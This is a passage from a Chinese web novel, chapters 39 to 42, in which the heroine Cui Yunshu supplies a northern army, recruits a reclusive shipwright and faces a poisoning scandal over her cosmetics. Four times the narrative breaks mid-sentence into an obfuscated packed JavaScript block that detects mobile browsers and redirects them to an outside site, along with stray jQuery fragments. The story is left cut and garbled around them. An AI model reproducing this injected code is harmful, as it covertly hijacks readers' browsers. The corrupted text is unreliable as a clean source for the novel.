他旁边,他的同乡,李二狗,正在剧烈地咳嗽着。每咳一声,都像是要把心肺都咳出来。他的脸,是一种不正常的,病态的潮红。 张铁牛知道,他快不行了。 军营里,已经有上百个兄弟,就这么无声无息地,在睡梦中,被活活冻死了。 药,没了。 粮食,也只剩下最后一点,掺着沙子的糙米。 所有人都说,朝廷的补给,已经在路上了。 可路,早就被一丈多深的大雪,给封死了。 绝望。 像这无边无际的白雪一样,厚重,冰冷,压得人喘不过气来。 张铁牛看着远处灰蒙蒙的天,忽然觉得,或许,就这么冻死在这里,也挺好。 至少,不用再受罪了。 就在他快要闭上眼睛的时候。 一阵低沉的,仿佛从地底传来的轰鸣声,让他浑浊的意识,清醒了一瞬。 那是什么声音? 不是风声。 也不是蛮族的战鼓声。 那声音,越来越近,越来越响。像是几百面大鼓,在同时擂动,震得整个大地,都在微微发颤。 烽火台上的哨兵,发出了声嘶力竭的,带着哭腔的嘶吼: “援军!是援军!!” 张铁牛用尽最后一丝力气,挣扎着,爬到墙垛边,探出头。 然后,他看到了他这辈子,都无法忘记的景象。 地平线上,出现了一条黑色的长龙。 那不是军队。 那是由成百上千辆马车、牛车、骡车,甚至还有人力推的独轮车组成的,一眼望不到头的,庞大的车队! 车队的尽头,是一面迎风招展的,玄色的大旗。 旗上,绣着一个龙飞凤舞的,金色的“唐”字。 一个身披黑色重甲,脸上满是风霜,眼睛却亮得像星星的年轻将军,骑着一匹神骏的黑马,冲在最前面。 是安郡王,唐璞 。 他来了。 他们来了。 车队没有在军营门口停留,而是像一股势不可挡的洪流,直接冲了进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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消息,比雪灾的军报,更快地,传回了京城 。 不是通过官方的驿站。 是通过那些南来北往的商队,通过那些说书人的嘴,通过每一个“云间阁”的客人。 朝廷的议事厅里,户部和兵部的官员,还在为第一批救灾物资的预算,争得面红耳赤。 而崔家和安郡王府的联合车队,已经把足够整个北境大军过冬的物资,送到了长城脚下的消息,早已传遍了京城的大街小巷。 整个京城,都失声了。 所有人都对崔家的财力,和那种匪夷所思的资源调动能力,有了一种全新的,近乎于恐惧的认知 。 那已经不是一个商贾世家了。 那是一个隐藏在民间的,富可敌国的,拥有自己独立运转体系的……影子王国。 清姝院里。 崔云姝看着桌上堆积如山的,来自北方的信件。 有掌柜们报上来的,详细的账目。这次行动,扣除所有成本,再从朝廷那里拿回采购款,纯利,超过三百万两白银。 有唐璞写来的,热情洋溢的,充满了对“谋主”崇拜之情的“演习报告”。 还有一封。 一封用血写成的,由北境数十位高级将领联合署名的,誓死效忠的……血书 。 崔云姝拿起那封血书。 指尖,能感觉到那干涸血迹的,粗糙的质感。 她的脸上,依旧没什么表情。 只是,她那双总是平静如水的眸子里,第一次,泛起了一丝她自己都无法理解的,复杂难言的波澜。 财神显神通。 可这个“神”,请上神坛容易。 再想下来,恐怕就难了 。 40.第 40 章 唐璞回来的时候,身上还带着北境的风霜 。 那是一种混着冰雪、铁锈和马血的味道。 凛冽的,干净的,让他觉得痛快的味道。 他骑着马,穿过京城繁华却又让他感到窒息的街道,心里揣着一团火。那团火,从北境的长城,一路烧回了京城,非但没有熄灭,反而越烧越旺。 他赢了。 不,是他们赢了。 他和他的谋主,崔云姝。 当他看到那些冻得像紫茄子一样的士兵,在穿上厚实的棉衣、喝下辛辣的烈酒后,爆发出惊天动地的欢呼时;当那个头发花白、杀人如麻的镇北大将军,握着他的手,老泪纵横地说“安郡王大恩,北境十万将士,没齿难忘”时……唐璞知道,这一切,都值了 。 他知道,这不是他的功劳。 是她的。 是那个总是坐在昏暗的雅间里,喝着凉茶,用最平静的语气,说出最惊天动地计划的,他的首席谋主。 财神显神通。 这是北境的将士们,给崔家起的新名号。 唐璞觉得,这个名号,太小了。 财神? 她分明是降世的鬼神。算无遗策,点石成金。 他现在只有一个念头,一个无比清晰,无比迫切的念头—— 他要去见她。 他要去问她,我们“大业”的下一步,该怎么走 [1-1]。 后勤已有保障,北境军心已尽归我等。接下来,是不是就该……打造那支真正属于我们的,无敌水师了? 他几乎已经能看到,那支由无数艘“神机舰”组成的庞大舰队,旌旗蔽日,乘风破浪,直捣黄龙的壮丽景象。 他的血,是滚烫的。 …… 崔云姝的血,是冰冷的。 她坐在云间阁顶楼的雅间里,看着那封由北境数十位将领用血写就的效忠信,感觉自己像是握着一块烧红的烙铁。 烫手。 也甩不掉。 她现在有点理解,为什么古代那些被黄袍加身的倒霉蛋,最后都半推半就地从了。 因为当你的“盟友”和“下属”,比你自己还要积极,还要狂热,还要坚信你就是那个天选之子时,你再说“不”,就不是谦虚,是虚伪,是辜负,是罪该万死。 她被架在了一个下不来的,名为“首席谋主”的火刑架上。 唐璞,就是那个最卖力往底下添柴的人。 所以,当唐璞那熟悉的,带着一股子要把门板撞碎的气势冲进来时,崔云姝一点都不意外。 她只是觉得,累。 心累。 “元直,”她甚至懒得站起来,只是抬了抬眼皮,指着对面的椅子,“坐。” 唐璞没坐。 他像一头巡视自己领地的狮子,在雅间里来回踱步,那股子从北境带回来的,混着成功和狂热的煞气,几乎要将这间雅致的屋子撑破。 “谋主!”他终于停下脚步,双目灼灼地看着她,“北境之事,已毕!我来问您,下一步,我们该当如何?!” 崔云姝看着他那张写满了“快给我新任务”的脸,内心那片早已麻木的荒原上,只飘过一行血红的大字。 跑路。 老娘要跑路啊! 造船,造全世界最大最快最结实的船!然后拉着我全家,带上我所有的金子,跑到天涯海角,再也不回来了! 这才是我的“大业”! 然而,这些话,她一个字都不能说。 她只能维持着脸上那副高深莫测的,仿佛早已看穿了过去未来的,该死的表情。 她缓缓地,站起身。 走到那张摊着地图的桌案前,伸出纤细的手指,轻轻地,点在了那片连接着京城与大海的,蔚蓝色的区域上。 “后勤,只是根基。” 她的声音,空灵,缥缈,像是从很远的地方传来。 “接下来,是时候,打造我们的……‘利刃’了。” 利刃。 唐璞的呼吸,猛地一滞。 他懂了! 谋主说的,是水师!是舰队!是他们“大业”最锋利的刀! “请谋主示下!”他激动得单膝跪地,声音都在抖。 “我需要船。”崔云姝言简意赅,“不是现在皇家船运公司里的那些商船。我需要一种全新的,足以纵横四海,无惧任何风浪的……旗舰。” “旗舰……”唐璞喃喃地重复着这个词,眼中爆发出万丈光芒。 “可是,”他随即皱起了眉头,“大秦最好的船匠,都在官办的船坞里。我们若是大张旗鼓地建造这种……‘旗舰’,恐怕会立刻引来陛下的猜忌。” “所以,我们不能找官办船坞的人。”崔云姝道。 “那还能找谁?”唐璞有些犯难,“民间的工匠,技艺大多稀松平常,造些内河的小船尚可,要造您说的那种……旗舰,恐怕……” 他忽然想到了什么,眼睛一亮! “有一个人!”他猛地一拍大腿,“有一个人,或许可以!” “谁?” “鲁承!”唐璞的声音里带着一丝敬畏,“人称‘鲁大师’。他曾是官办船坞的总匠师,大秦最好的船,有一半都是出自他之手!只是……” “只是什么?” “只是他多年前,因为一桩旧案,被罢了官。据说他的独子,就是在一艘他亲手监造的船上,遭遇海难,尸骨无存。从那以后,他就发誓,此生永不再造一船一板。他性情变得极其古怪,一个人隐居在东海边上,谁也不见。我父亲曾派人去请过他几次,别说金银财宝,就是把爵位摆在他面前,他都无动于衷。” 脾气古怪。 技艺通神。 发誓不再造船。 与官府有仇。 崔云姝听着,眼睛却越来越亮。 完美。 这简直是……为她量身定做的,完美的首席技术官啊! 一个能保守秘密,又不会被轻易收买的顶尖人才! “他在哪?”她问。 “东海,一个叫‘望崖村’的破落渔村里。”唐璞有些犹豫,“可是谋主,此人软硬不吃,我们恐怕……” “带我去见他。”崔云shu打断了他。 她的语气,不容置疑。 …… 东海。 望崖村。 这地方,就像它的名字一样,透着一股子绝望的味道。 海风是咸的,湿的,冷的,像一把生了锈的钝刀,一下一下地,刮着人的骨头。天是灰的,海也是灰的,连沙滩上那些被海浪冲上来的贝壳,都像是死人惨白的指甲。 崔云姝和唐璞,就站在这片灰色之中。 他们面前,是一间用礁石和茅草搭起来的,破烂得仿佛随时会被一阵大风吹散的屋子 。 屋子里,传来一阵“叮叮当当”的,敲打木头的声音。 唐璞上前,深吸一口气,朗声道:“晚辈安郡王唐璞,求见鲁大师!” 敲打声,停了。 屋子里,传来一个苍老而沙哑的,像两块石头在摩擦的声音。 “滚。” 只有一个字。 唐璞的脸,瞬间就涨红了。他好歹也是个郡王,是北境的英雄,何曾受过这种待遇。 “大师!”他压着火气,又喊了一声,“我们是带着诚意来的!只要您肯出山,金钱,地位,您要什么,我们给什么!” “我说,滚!”屋子里的声音,多了一丝不耐烦,“再不滚,休怪我这把老骨头,不客气了!” “你……” 唐璞的暴脾气,眼看就要压不住了。 崔云姝伸出手,轻轻地按住了他。 她什么都没说,只是从身后那个一直由亲兵背着的,巨大的画筒里,抽出了一卷用上好的羊皮纸制成的图卷 。 她走到那扇破烂的木门前,缓缓地,将图卷展开。 那是一张巨大无比的,结构复杂到令人头晕目眩的,船只的设计图 。 然后,她就那么静静地,站在那里。 一言不发 。 屋子里的沉默,持续了很久。 久到唐璞以为,里面的人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509670|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是已经睡着了。 就在他准备再次开口的时候。 “吱呀——”一声。 那扇破烂的木门,被从里面拉开了。 一个头发花白,满脸沟壑,眼窝深陷,穿着一身打满补丁的麻布衣服的老人,走了出来。他的手上,还拿着一把半旧的凿子,浑浊的眼睛里,充满了不耐烦和厌恶。 他就是鲁大师。 他看都没看唐璞一眼,目光直接落在了崔云姝……和她手中那张图纸上。 只一眼。 他那双浑浊的眼睛,就像是被投入了一颗火星的,干枯的柴堆,猛地,亮了一下。 他脸上的不耐烦,凝固了。 他缓缓地,一步一步地,走了过来。 他的目光,死死地,黏在那张图纸上,再也移不开分毫。 那是什么? 那船身侧面,一个个用清晰的线条隔开的,如同蜂巢般的格子……是水密隔舱?! 还有那船尾,不同于传统尾鳍的,更加灵活的平衡舵?! 还有那桅杆……天哪,不止一根!三根!四根!上面挂着的,竟然不是软帆,而是可以转动的……硬帆?! 这…… 这不可能! 这颠覆了他几十年来建立起来的所有认知! 鲁大师的呼吸,变得急促起来。 他颤抖着,伸出手,想要去触摸那张图纸,却又在半空中停住,仿佛那是什么碰一下就会碎掉的神物。 他抬起头,那双浑浊的眼睛里,厌恶和不耐烦早已消失得无影无踪。取而代之的,是震惊,是疑惑,是狂喜,是见到了神迹一般的,疯魔般的狂热 ! “这……这图……是谁画的?”他的声音,沙哑得像在拉一个破风箱。 崔云姝看着他,依旧没有说话。 “是你?!”鲁大师的目光,死死地锁定在她脸上。 崔云姝终于,轻轻地,点了点头。 “妖术……这是妖术……”鲁大师喃喃自语,他忽然像是疯了一样,一把抢过那张图纸,铺在沙滩上,整个人都趴了上去,用他那粗糙的,满是老茧的手,一遍又一遍地,抚摸着上面的每一根线条。 “不对……不对……这里的龙骨衔接,可以用榫卯……不,用铁钉加固会更好……还有这里,这水密舱的隔板厚度……天哪,天哪!原来是这样!原来是这样啊!!” 他像一个走火入魔的疯子,又哭又笑,嘴里念叨着各种唐璞完全听不懂的,关于造船的术语。 许久。 他猛地抬起头,像一头濒死的野兽,一把抓住了崔云姝的胳膊,那力气大得,几乎要捏碎她的骨头。 他的眼睛,是血红的。 “丫头!”他嘶吼道,“你要造这船?!” 崔云姝忍着痛,平静地,再次点头。 “我跟你干!!” 鲁大师的声音,像是从胸腔里炸出来的,带着一种要把天都吼出一个窟窿的,决绝的疯狂。 “我不要钱!我也不要什么狗屁地位!我只要……我只要你让我,亲手!亲手把这艘神船,造出来!!” “你让我死在船上都行!!” 他那双血红的眼睛里,流下了两行浑浊的,滚烫的泪水。 那是属于一个顶尖工匠,在看到了一生追求的,至高无上的“道”时,最虔诚的,也是最卑微的,祈求。 唐璞站在一旁,看着眼前这魔幻的一幕,彻底傻了。 他看着那个前一刻还对他不屑一顾的宗师,此刻却像个孩子一样,拉着崔云姝的衣角,苦苦哀求。 他又看了看崔云姝。 看着她那张从始至终都平静如水的脸。 他忽然觉得,自己的这位“首席谋主”,她那颗脑袋里装的东西,可能……真的不是属于这个世界的。 崔云姝看着眼前这个状若疯魔的老人,内心那片冰冷的,疲惫的荒原上,终于,长出了一棵小小的,名为“希望”的嫩芽。 她的旗舰。 她真正的,能带她逃离这一切的诺亚方舟。 终于,要开始建造了 。 41.第 41 章 在崔云姝和唐璞远在千里之外的东海,为一艘承载着截然不同梦想的“神船”而奔走时,京城,这座巨大而精密的牢笼,正上演着另一场属于女人的,无声的战争 。 这场战争,闻不到硝烟,只闻得到花香。 一种名为“玉容膏”的,奇异的香气。 它不像宫里那些沉闷的龙涎香,也不像寻常脂粉那般甜腻。它像清晨的第一缕阳光,穿过竹林,落在沾着露水的兰花瓣上,那种清冽的,带着生命力的芬芳。 “镜花缘”,崔云姝继“云间阁”之后,推出的第二个,也是更私密、更具杀伤力的商业帝国,在短短数月之内,已经彻底征服了京城最顶层的那一小撮女人 。 它的拳头产品,“玉容膏”,已经不再是一盒简单的润肤膏。 它是一种身份。 一种特权。 一种能让女人们在无声的社交战场上,取得决定性胜利的,秘密武器 。 永宁侯府的后花园里,午后的阳光懒洋洋的,金桂的香气被风吹得有些散漫。 几位诰命夫人围坐在一起,看似在闲聊,实则眼角的余光,都在不动声色地,进行着一场场无声的厮杀。 李夫人今天新得了一支南海珍珠簪,王夫人戴了一对成色极好的帝王绿耳坠。 但当吏部尚书家的孙夫人,从侍女手中,接过那个通体润白的,雕刻着缠枝莲纹的玉盒时,所有的珠光宝气,瞬间都黯然失色。 “孙姐姐,你竟……你竟也抢到了这个月的‘玉容膏’?”李夫人脸上的笑容,僵硬了一瞬。 孙夫人用一根小小的银匙,轻轻挑起一点膏体。那膏体,莹白如雪,细腻如脂,在阳光下,泛着一层柔润的光。 “哪里是抢,”她故作轻描淡写地,将那一点点膏体,均匀地涂抹在手背上,感受着那股子沁人心脾的凉意,和皮肤瞬间变得水润紧致的奇妙触感,“不过是云熙那丫头,看我前些日子皮肤干燥,特意从宫里匀出来一盒罢了。” 云熙。 太子妃,崔云熙。 在座的所有人,心里都跟明镜似的。这哪里是太子妃心疼她,这分明是崔家在用这种方式,划分阵营,巩固圈子。 而她们,都被隔绝在了圈子之外。 嫉妒,像细小的蚂蚁,在她们心头啃噬着。 “玉容膏”的美白润肤奇效,已经成了京城贵妇圈里一个心照不宣的秘密。谁用了,谁的皮肤就水嫩得能掐出水来,谁就仿佛年轻了五岁 。 而更重要的是,拥有它,就代表着你离权力的核心,又近了一步。 这场看似风平浪静的茶会,在孙夫人拿出那盒“玉容膏”的瞬间,胜负已分。 风暴,总是在最宁静的时刻,酝酿它最狰狞的杀机。 …… 第一个尖叫声,是从承恩公府的后院里传出来的。 那声音,不像是人类能发出的。 尖利,凄厉,充满了极致的恐惧和绝望,像一把生了锈的刀子,划破了清晨的宁静。 承恩公府的嫡小姐,赵婉儿,疯了。 她砸碎了房间里所有能照出人影的东西,铜镜,水盆,甚至连茶杯里那一点点反光,都让她歇斯底里。 “我的脸!我的脸!!” 她的侍女们跪在地上,瑟瑟发抖,连头都不敢抬。 她们看见了。 她们看见小姐那张往日里如花似玉,因为用了“玉容膏”而愈发白皙娇嫩的脸上,此刻,布满了大片大片的,丑陋的红疹。那红疹之上,甚至冒出了一个个细小的脓包,微微地,向外渗着黄色的液体 。 那不是过敏。 那是……溃烂。 一个。 两个。 三个。 就好像一场无声的瘟疫,在短短一日之内,迅速在京城最顶层的贵妇圈里,引爆了 。 兵部侍郎的夫人,在赏花宴上,突然觉得脸颊奇痒无比,她忍不住用手帕去擦,结果,擦下来一层薄薄的,带着血丝的皮。 御史大夫家的千金,一觉醒来,发现自己引以为傲的,吹弹可破的皮肤上,长满了如同被毒虫啃噬过一般的,骇人的红斑。 所有出现症状的人,都有一个共同点。 她们,都是“玉容膏”最忠实的拥趸。 恐慌,像野火燎原,一发不可收拾。 曾经被她们视若珍宝的白玉盒子,此刻,成了最致命的毒药,被惊恐地丢弃在角落里。 曾经那种清冽的,兰草般的香气,现在闻起来,就像是尸体腐烂的味道。 “‘镜花缘’的玉容膏,有剧毒!” “是崔家!崔家为了赚钱,不择手段,用毒药害人!” “黑心商家!谋财害命!!” 流言,比任何八百里加急的军报,都传得更快 。 昔日里车水马龙,一位难求的“镜花缘”店铺,一夜之间,门可罗雀。取而代之的,是愤怒的,哭喊着要讨个说法的受害者家属,和闻风而动,将店铺贴上封条的官差 。 那个由崔云姝一手打造的,风光无限的美妆帝国,在短短三天之内,轰然倒塌。 从商业的神话,沦为人人喊打的,过街老鼠。 …… 二皇子府。 书房里,燃着一股子极其甜腻的合欢香,甜得发齁,压得人喘不过气。 二皇子妃魏书语,正慢条斯理地,用一把小小的金剪刀,修剪着插在汝窑胆瓶里的一枝白梅。 她的动作,优雅,从容。 脸上,挂着一丝浅浅的,温婉的笑意。 一个穿着黑色劲装的内侍,悄无声息地,出现在她身后,低声汇报着外面的动静。 “……承恩公府的小姐,已经请遍了京城名医,都束手无策。” “……‘镜花缘’在京城的所有铺面,都已被大理寺查封。” “……崔府门前,聚集了上百名受害者家属,哭喊着要崔家偿命。太子妃派人去安抚,差点连马车都被掀了。” 魏书语听着,嘴角的笑意,更深了。 她剪下最后一朵开得最盛的梅花,随手丢在一旁。 她不喜欢开得太盛的东西。 因为那往往预示着,离凋零不远了。 比如,崔云姝。 比如,她那个看似风光无限的商业帝国。 “事情,办得干净吗?”她没有回头,只是淡淡地问。 “回王妃,极其干净。”内侍的声音,像一条没有骨头的蛇,“买通的那个伙计,是个烂赌鬼,拿了钱,当夜就死在了赌坊的斗殴里。我们的人,验过尸,不会留下任何痕迹。” “嗯。” 魏书语满意地点了点头。 她想起几天前,她那个因为商业上屡战屡败,在朝堂上又被太子压得抬不起头的丈夫,在她面前,第一次露出了颓丧的神情。 那一刻,她心中的恨意,和一种被压抑了许久的,想要证明自己的野心,同时燃烧了起来。 她恨崔云姝。 她甚至没见过那个女人。 但她恨她的一切。恨她的“云间阁”抢走了所有人的目光,恨她的“镜花缘”将自己娘家那个本就岌岌可危的妆品生意,彻底逼上了绝路 。 她更恨她,是太子妃的妹妹,是太子党最锋利的,也是最会赚钱的一把刀。 所以,她要毁了她。 不是杀死她。 是要用她最引以为傲的东西,来彻底地,毁灭她。 用美丽,来制造丑陋。 用希望,来制造绝望。 她派人,从自己娘家的封地,寻来了那种产量稀少,无色无味,却能与“玉容膏”中某种香料产生反应,从而慢慢腐蚀皮肤的毒草 。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514859|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有广撒网,而是精准地,只在那几盒注定会送到最有影响力的,或者与崔家对立的贵妇手中的“玉容膏”里,动了手脚。 这是一场完美的,精准的,足以致命的谋杀。 一场针对名誉的,谋杀。 “做得好。”她轻声说,将那把金剪刀,放在了一旁,“去账房,领一千两银子,赏给下面的人。” “谢王妃。” 内侍悄无声息地退了出去。 书房里,又只剩下她一个人。 她走到窗边,看着远处崔府的方向,仿佛能听到那里的哭喊与咒骂。 她的脸上,终于露出了一个毫不掩饰的,充满了快意的,冰冷的笑容。 崔云姝。 你回来了吗? 回来看看你亲手建立的一切,是如何在你眼前,化为灰烬的。 …… 崔云姝回来了。 当她乘坐的马车,在距离崔府还有两条街的地方,就被愤怒的人群堵得再也无法前进时,她就知道,出事了。 出大事了。 她从东海归来,心里还带着那片广阔大海的气息,和鲁大师那近乎疯魔的狂热所带来的,对未来的掌控感。 可当她推开车门,看到眼前那副如同地狱般的景象时,所有的掌控感,瞬间支离破碎。 被官府贴了封条的店铺。 堵在门口,双目赤红,声嘶力竭地咒骂着“黑心商家,还我女儿命来”的家属。 空气中,弥漫着一股子绝望和愤怒混合在一起的,酸腐的味道。 她看到了人群中,憔悴不堪的母亲宋氏。 看到了站在母亲身旁,脸色铁青,却束手无策的兄长崔元珏。 她看到了这个她一手建立起来的,风光无限的商业神话,此刻,就像一个被人撕碎了的,华丽的布偶,被踩在脚下,沾满了泥污 。 她的大脑,有那么一瞬间,是空白的。 一种巨大的,荒谬的,令人窒息的疲惫感,席卷了她全身。 又是这样。 又是这样! 为什么她每解决一个问题,就会有一个更大的,更恶毒的麻烦,在等着她? 她只想赚点钱,造艘船,然后逃离这个该死的世界! 为什么就这么难! 她扶着车辕,指节因为用力而泛白。 然后,她看到了一个熟悉的身影。 兵部侍郎的夫人,那个曾经在茶会上,因为没有“玉容膏”而对孙夫人冷嘲热讽的女人。 此刻,她用一块厚厚的面纱遮着脸,只露出一双充满了血丝和怨毒的眼睛,死死地,盯着崔府的大门。 崔云姝的目光,和她的目光,在空中交汇了一瞬。 那一瞬间。 崔云姝那片被愤怒和疲惫搅成一团浆糊的脑子里,有什么东西,像是被一道闪电,猛地劈开了。 她那颗属于现代人的,受过严格逻辑训练的大脑,开始疯狂运转。 精准。 太精准了。 出事的,为什么都是这些……与崔家或亲近,或对立,或极具影响力的特定人群? 这不是一场意外。 这不是一场无差别的事故。 这是一场……计划周密的,定点清除。 崔云姝缓缓地,直起了身子。 她那双因为连日奔波而显得有些疲惫的眸子里,所有的情绪,都在一瞬间褪去。 取而代之的,是一种冰冷到极致的,仿佛能将人灵魂都冻结的,绝对的冷静。 她的嘴角,甚至,勾起了一丝极淡的,几乎看不见的,冰冷的弧度。 很好。 她想。 你们终于,不玩那些上不得台面的商业手段了。 你们终于,开始……玩命了。 那么,游戏,现在才算真正开始 。 42.第 42 章 大理寺的庭院,是灰色的 。 天是灰的,地是灰的,连那些穿着官服的人的脸,都是灰的。 空气里,弥漫着一股子酸腐的味道。是愤怒,是绝望,是无数人的唾骂和眼泪,混杂在一起,发酵成了这种能让人从骨头缝里感到寒意的,刺鼻的气味。 崔云姝就站在这片灰色的中央。 她能听到声音。 四面八方,都是声音。 “杀人凶手!还我女儿的脸来!” “黑心的崔家!用毒药谋财害命!不得好死!” “严惩!必须严惩!抄了他们家!” 哭喊声,咒骂声,像一场黏腻的,带着冰碴子的暴雨,劈头盖脸地砸在她身上。 她能看见。 看见那些曾经在“镜花缘”里,为了一个预定名额而争得面红耳赤的贵妇,此刻正用最怨毒,最幸灾乐祸的眼神,看着她,仿佛在看一个已经被剥光了衣服,即将被游街示众的囚犯。 她能看见那些真正的受害者家属,他们双目赤红,脸上是混杂着悲痛和极致愤怒的,扭曲的表情。他们想冲上来,想撕碎她,却被唐璞带来的,穿着黑色劲装的王府亲兵,死死地拦在外面。 她甚至能看见,在人群的某个角落里,二皇子妃魏书语,坐在华丽的马车里,隔着一层薄薄的纱帘,用一种看戏般的,带着几分得意和残忍的目光,遥遥地,注视着她 。 所有人都觉得她疯了 。 是她,主动请求大理寺介入。 是她,主动邀请了所有受害者家属,京城里有头有脸的人物,还有那些唯恐天下不乱的说书人和闲汉,来参加这场史无前例的,公开的“审判” 。 她把崔家,把自己,架在了火上。 所有人都等着看她被烧成灰。 “崔四小姐。” 大理寺卿,一个年过半百,脸色和这庭院一样灰败的老头,终于不耐烦地开了口。他的声音,像一块在沙地上拖行的石头,干涩,沙哑。 “人证物证俱在,你还有何话可说?” 物证,是那些被查封的,所谓“有毒”的玉容膏。 人证,是那些躺在担架上,被抬到庭院中央,用白布遮着脸,只发得出呜咽声的,曾经如花似玉的贵女。 崔云姝没有看那些人,也没有看那些物。 她只是缓缓地,抬起头,目光越过所有人,落在了大理寺卿那张毫无表情的脸上。 “大人,”她的声音,不大,却像一根冰冷的针,瞬间刺穿了所有的喧嚣,“我只问一句,您审案,是凭证据,还是凭人言?” 大理寺卿的眉头,皱了起来。 “自然是凭证据。” “好。” 崔云姝点了点头。 她转过身,对着身后一直侍立的丫鬟,说了一个字。 “上。” 两个丫鬟,抬上来一个箱子。 箱子打开,里面不是金银珠宝,也不是什么求情的信物。 而是一套看起来极其古怪的,由琉璃和黄铜制成的器具。一个巨大的琉璃烧瓶,几根弯弯曲曲的导管,下面还放着一个小小的,燃着蓝色火焰的酒精灯 。 所有人都看懵了。 这是什么?炼丹的炉子吗? 崔云姝没有解释。 她当着所有人的面,取过一盒由官府查封的,所谓“有毒”的玉容膏,用一把银匙,将里面所有的膏体,都刮进了那个巨大的琉璃烧瓶里。 然后,她点燃了酒精灯。 蓝色的火焰,舔舐着烧瓶的底部。 所有人都屏住了呼吸,伸长了脖子,看着这诡异的一幕。 他们看见,烧瓶里的膏体,在加热后,慢慢地,融化成了乳白色的液体。有白色的水汽,顺着导管,缓缓地,流向另一端一个浸在冰水里的,小小的琉璃瓶里。 时间,一分一秒地过去。 那小小的琉璃瓶里,渐渐地,凝结出了一层透明的液体。 而那巨大的烧瓶里,原本乳白色的液体,却慢慢地,析出了一层淡淡的,几乎看不见的,浅绿色的油状物。 崔云姝熄了火。 她先是指着那个凝结出透明液体的小瓶子,对众人说道: “这是‘玉容膏’的基底,由花露与泉水蒸馏而成,无色,无味,无毒。” 然后,她又用一根细长的银针,小心翼翼地,从烧瓶里,蘸取了那一点点浅绿色的油状物。 她的声音,变得冰冷而锐利。 “而这个,才是让诸位小姐容颜受损的,真正的……‘毒’。” 整个庭院,死一般的寂静。 所有人都被这神乎其技的,如同“仙术”般的操作,给镇住了。 他们看不懂。 但他们大受震撼。 “一派胡言!”人群中,终于有人反应过来,大概是二皇子一党派来煽风点火的,“你故弄玄虚!谁知道你这瓶子里装的是什么鬼东西!” “对!她在拖延时间!” “妖女!这是妖术!” 人群,又开始鼓噪起来。 崔云姝看着那些叫嚣的脸,脸上,第一次,露出了一丝极淡的,近乎于残忍的笑容。 她要的,就是这个效果。 懒得再废话了。 在全场死寂的注视下,她做出了一个让所有人都魂飞魄散的举动 。 她先是从袖中,取出另一盒完好无损的,由大理寺官员亲自验证过,并盖了火漆印的“玉容膏”,打开。 她用一根手指,蘸取了那雪白细腻的膏体,均匀地,涂在了自己右边的半张脸上 [19]。 那动作,从容,优雅。仿佛不是在公审现场,而是在自家闺房的梳妆台前。 然后。 她又伸出另一根手指。 在所有人惊恐的,倒吸冷气的尖叫声中,她将那根手指,伸向了那根沾染着浅绿色“毒液”的银针。 她将那一点点致命的,能让如花容颜溃烂的毒物,仔仔细细地,涂抹在了自己左边的半张脸上 [19]。 “疯了!她疯了!” “天哪!她竟然……以身试毒!” “拦住她!快拦住她!” 人群彻底炸了。 就连大理寺卿,都惊得从椅子上站了起来。 二皇子妃魏书语,更是猛地抓紧了车窗的帘子,脸上那得意的笑容,第一次,凝固了。 唐璞的心,提到了嗓子眼。他下意识地就要冲上去,却在看到崔云姝那个平静得近乎冷酷的眼神时,硬生生地,停住了脚步。 他相信她。 无条件地,相信她。 “一个时辰。” 崔云姝的声音,清晰地,响彻在每一个人的耳边。 “一个时辰后,真相,自见分晓。”[19] 她说完,便在一旁的椅子上,坐了下来。 闭上了眼睛。 仿佛睡着了。 那一个时辰,是崔云姝重生以来,经历过的,最漫长的,也是最短暂的一个时辰。 整个世界,都安静了。 她能听到风吹过庭院里那棵老槐树,发出的,沙沙的声响。 她能听到身边那些官员,那些家属,那些围观者,压抑着的,粗重的呼吸声。 她能感觉到自己脸上的变化。 右边,是清凉的,舒适的,玉容膏正在慢慢地被皮肤吸收。 而左边…… 先是没有任何感觉。 然后,是一阵细微的,如同被蚂蚁啃噬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521810|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的,痒。 紧接着,是灼热。 像有一小簇看不见的火苗,正在她的皮肤之下,疯狂地,燃烧着。 她没有动。 连眼皮都没有颤动一下。 她在等。 等药效发作。 等所有人的耐心,都被耗尽。 等那个幕后黑手,从得意,到疑惑,再到……恐惧。 当大理寺的日晷,那根细长的影子,终于,移到了下一个刻度时。 崔云姝,睁开了眼睛。 她缓缓地,站起身。 当着所有人的面,她抬起手,将自己脸上的面纱,轻轻地,摘了下来。 “啊——!” 一声凄厉的尖叫,划破了死寂。 